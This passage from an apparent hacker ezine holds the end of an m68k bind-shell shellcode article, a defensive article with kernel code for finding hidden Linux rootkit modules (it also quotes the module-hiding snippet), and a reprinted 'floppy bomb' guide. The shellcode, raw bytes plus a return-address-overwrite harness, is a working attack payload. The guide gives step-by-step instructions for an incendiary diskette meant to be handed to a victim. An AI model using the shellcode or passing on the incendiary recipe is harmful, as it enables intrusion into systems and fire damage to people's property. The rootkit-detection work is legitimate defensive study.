"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x05" /* moveq #5,%d1 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x00" /* moveq #0,%d2 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x01" /* moveq #1,%d2 */
"\x4e\x40" /* trap #0 */
"\x22\x00" /* movel %d0,%d1 */
"\x70\x3f" /* moveq #63,%d0 */
"\x74\x02" /* moveq #2,%d2 */
"\x4e\x40" /* trap #0 */
"\x70\x0b" /* moveq #11,%d0 */
"\x48\x79\x2f\x2f\x73\x68" /* pea 2f2f7368 */
"\x48\x79\x2f\x62\x69\x6e" /* pea 2f62696e */
"\x22\x0f" /* movel %sp,%d1 */
"\xb5\x82" /* eorl %d2,%d2 */
"\x2f\x02" /* movel %d2,%sp@- */
"\x48\x78\x01\x30" /* pea 130 */
"\x24\x0f" /* movel %sp,%d2 */
"\x26\x02" /* movel %d2,%d3 */
"\x4e\x40"; /* trap #0 */
main()
{
int *ret;
ret=(int *)&ret +2;
*ret = bind_shellcode;
}
p.s. as always - sorry for my poor english.
VI. References.
[1] http://e-www.motorola.com/collateral/M68000PRM.pdf - programmer's manual
[2] http://e-www.motorola.com/brdata/PDFDB/docs/MC68060UM.pdf - user's manual
[3] http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf - good tutorial
|=-----------------------------------------------------------------------=|
|=-=[ 6 - Finding hidden kernel modules (the extrem way) ]=--------------=|
|=-----------------------------------------------------------------------=|
by madsys <madsys at ercist.iscas.ac.cn>
1 Introduction
2 The technique of module hiding
3 Countermeasure -- brute force
4 Problem of unmapped
5 Greetings
6 References
7 Code
1 Introduction
==============
This paper presents a method for how to find out the hidden modules in
linux system. Generaly speaking, most of the attackers intend to hide
their modules after taking down the victim. They like this way to prevent
the change of kernel from being detected by the administrator. As modules
were linked to a singly linked chain, the original one was unable to be
recovered while some modules have been removed. In this sense, to retrieve
the hidden modules came up to be hard. Essential C skill and primary
knowledge of linux kernel are needed.
2 The technique of module hiding
================================
First of all, the most popular and general technique of module hiding
and the quomodo of application to get module's list were examined.
An implement of module hiding was shown as below:
----snip----
struct module *p;
for (p=&__this_module; p->next; p=p->next)
{
if (strcmp(p->next->name, str))
continue;
p->next=p->next->next; // <-- here it
removes that module
break;
}
----snip----
As you can see, in order to hide one module, the unidirectional chain was
modified, and following is a snippet of sys_create_module() system call,
which might tell why the technique worked:
----snip----
spin_lock_irqsave(&modlist_lock, flags);
mod->next = module_list;
module_list = mod; /* link it in */
spin_unlock_irqrestore(&modlist_lock, flags);
----snip----
A conclusion could be made: modules linked to the end of unidirectional
chain when they were created.
"lsmod" is an application on linux for listing current loaded modules,
which uses sys_query_module() system call to get the listing of loaded
modules, and qm_modules() is the actual function called by it while
querying modules:
static int qm_modules(char *buf, size_t bufsize, size_t *ret)
{
struct module *mod;
size_t nmod, space, len;
nmod = space = 0;
for (mod=module_list; mod != &kernel_module; mod=mod->next,
++nmod) {
len = strlen(mod->name)+1;
if (len > bufsize)
goto calc_space_needed;
if (copy_to_user(buf, mod->name, len))
return -EFAULT;
buf += len;
bufsize -= len;
space += len;
}
if (put_user(nmod, ret))
return -EFAULT;
else
return 0;
calc_space_needed:
space += len;
while ((mod = mod->next) != &kernel_module)
space += strlen(mod->name)+1;
if (put_user(space, ret))
return -EFAULT;
else
return -ENOSPC;
}
note: pointer module_list is always at the head of the singly linked
chain. It clearly showing the technique of hiding module was valid.
3 Countermeasure -- brute force
===============================
According to the technique of hiding module, brute force might be useful.
sys_creat_module() system call was expressed as below.
--snip--
if ((mod = (struct module *)module_map(size)) == NULL) {
error = -ENOMEM;
goto err1;
}
--snip--
and the macro module_map in "asm/module.h":
#define module_map(x) vmalloc(x)
You should have noticed that the function calls vmalloc() to allocate the
module struct. So the size limitation of vmalloc zone for brute force is
able to be exploited to determine what modules in our system on earth.
As you know, the vmalloc zone is 128M(2.2, 2.4 kernel, there are many
inanition zones in it), however, any allocated module should be aligned by
4K. Therefor, the theoretical maximum number we were supposed to detect
was 128M/4k=32768.
4 Problem of unmapped
=====================
By far, maybe you think: umm, it's very easy to use brute force to list
those evil modules". But it is not true because of an important
reason: it is possible that the address which you are accessing is
unmapped, thus it can cause a paging fault and the kernel would report:
"Unable to handle kernel paging request at virtual address".
So we must make sure the address we are accessing is mapped. The solution
is to verify the validity of the corresponding entry in kernel
pgd(swapper_pg_dir) and the corresponding entry in page table.Furthermore,
we were supposed to make sure the content of address pointed by "name"
pointer(in struct module) was valid. Because the 768~1024 entries of user
process's pgd were synchronous with kerenl pgd, and that was why such
hardcore address of kernel pgd (0xc0101000) was used.
following is the function for validating those entries in pgd or pgt:
int valid_addr(unsigned long address)
{
unsigned long page;
if (!address)
return 0;
page = ((unsigned long *)0xc0101000)[address >> 22];
//pde
if (page & 1)
{
page &= PAGE_MASK;
address &= 0x003ff000;
page = ((unsigned long *) __va(page))[address >>
PAGE_SHIFT]; //pte
if (page)
return 1;
}
return 0;
}
After validating those addresses which we would check, the next step would
be easy -- just brute force. As the list of modules including hidden
modules had been created, you could compare it with the output of "lsmod".
Then you can find out those evil modules and get rid of them freely.
5 Greetings
===========
Shout to uberhax0rs@linuxforum.net
6 Code
======
-----BEGING MODULE_HUNTER.C-----
/*
* module_hunter.c: Search for patterns in the kernel address space that
* look like module structures. This tools find hidden modules that
* unlinked themself from the chained list of loaded modules.
*
* This tool is currently implemented as a module but can be easily ported
* to a userland application (using /dev/kmem).
*
* Compile with: gcc -c module_hunter.c -I/usr/src/linux/include
* insmod ./module_hunter.o
*
* usage: cat /proc/showmodules && dmesg
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#ifdef CONFIG_SMP
#define __SMP__
#endif
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/proc_fs.h>
#include <linux/errno.h>
#include <asm/uaccess.h>
#include <asm/pgtable.h>
#include <asm/fixmap.h>
#include <asm/page.h>
static int errno;
int valid_addr(unsigned long address)
{
unsigned long page;
if (!address)
return 0;
page = ((unsigned long *)0xc0101000)[address >> 22];
if (page & 1)
{
page &= PAGE_MASK;
address &= 0x003ff000;
page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT]; //pte
if (page)
return 1;
}
return 0;
}
ssize_t
showmodule_read(struct file *unused_file, char *buffer, size_t len, loff_t *off)
{
struct module *p;
printk("address module\n\n");
for (p=(struct module *)VMALLOC_START; p<=(struct \
module*)(VMALLOC_START+VMALLOC_RESERVE-PAGE_SIZE); p=(struct module \
- )((unsigned long)p+PAGE_SIZE))
{
if (valid_addr((unsigned long)p+ (unsigned long)&((struct \
module *)NULL)->name) && valid_addr(*(unsigned long *)((unsigned long)p+ \
(unsigned long)&((struct module *)NULL)->name)) && strlen(p->name))
if (*p->name>=0x21 && *p->name<=0x7e && (p->size < 1 <<20))
printk("0x%p%20s size: 0x%x\n", p, p->name, p->size);
}
return 0;
}
static struct file_operations showmodules_ops = {
read: showmodule_read,
};
int init_module(int x)
{
struct proc_dir_entry *entry;
entry = create_proc_entry("showmodules", S_IRUSR, &proc_root);
entry->proc_fops = &showmodules_ops;
return 0;
}
void cleanup_module()
{
remove_proc_entry("showmodules", &proc_root);
}
MODULE_LICENSE("GPL");
MODULE_AUTHOR("madsys<at>ercist.iscas.ac.cn");
-----END MODULE-HUNTER.C-----
|=-----------------------------------------------------------------------=|
|=-=[ 7 - Good old floppy bombs ]=---------------------------------------=|
|=-----------------------------------------------------------------------=|
[ Note by the editors: We felt like it's time for a re-print of
some already forgotton fun with pyro techniques. Enjoy. ]
####################################
# How To Make A Diskette Bomb #
# by Phrick-A-Phrack #
####################################
Before I even start i want to make it clear that i do NOT take any
responsibility on the use of the information in this document.
This little baby is good to use to stuff up someones computer a little.
It can be adapted to a range of other things.
You will need:
- A disk (3.5" floppys are a good disk to use)
- Scissors
- White or blue kitchen matches (i have not found any other colors that
work - im not sure why)
- Clear nail polish
What to do:
- Carefully open up the diskette
- remove the cotton covering from the inside.
- scrape a lot of match powder into a bowl (use a woodent scraper as metal
might spark and ignite the match powder)
- After you have a lot, spread it EVENLY on the disk.
- Spread nail polish over the match powder on the disk.
- let it dry.
- carefully put the diskette back together and use the nail plish to seal
is shut.
How to use it:
Give it to someone you want to give a fright and stuff up their computer
a little. Tell them its got something they are interested in on it. When
they put it in their drive the drive head attempts to read the disk which
causes a small fire - enough heat to melt the disk drive and stuff the
head up!
^^Phrick-A-Phrack^^
|=[ EOF ]=---------------------------------------------------------------=|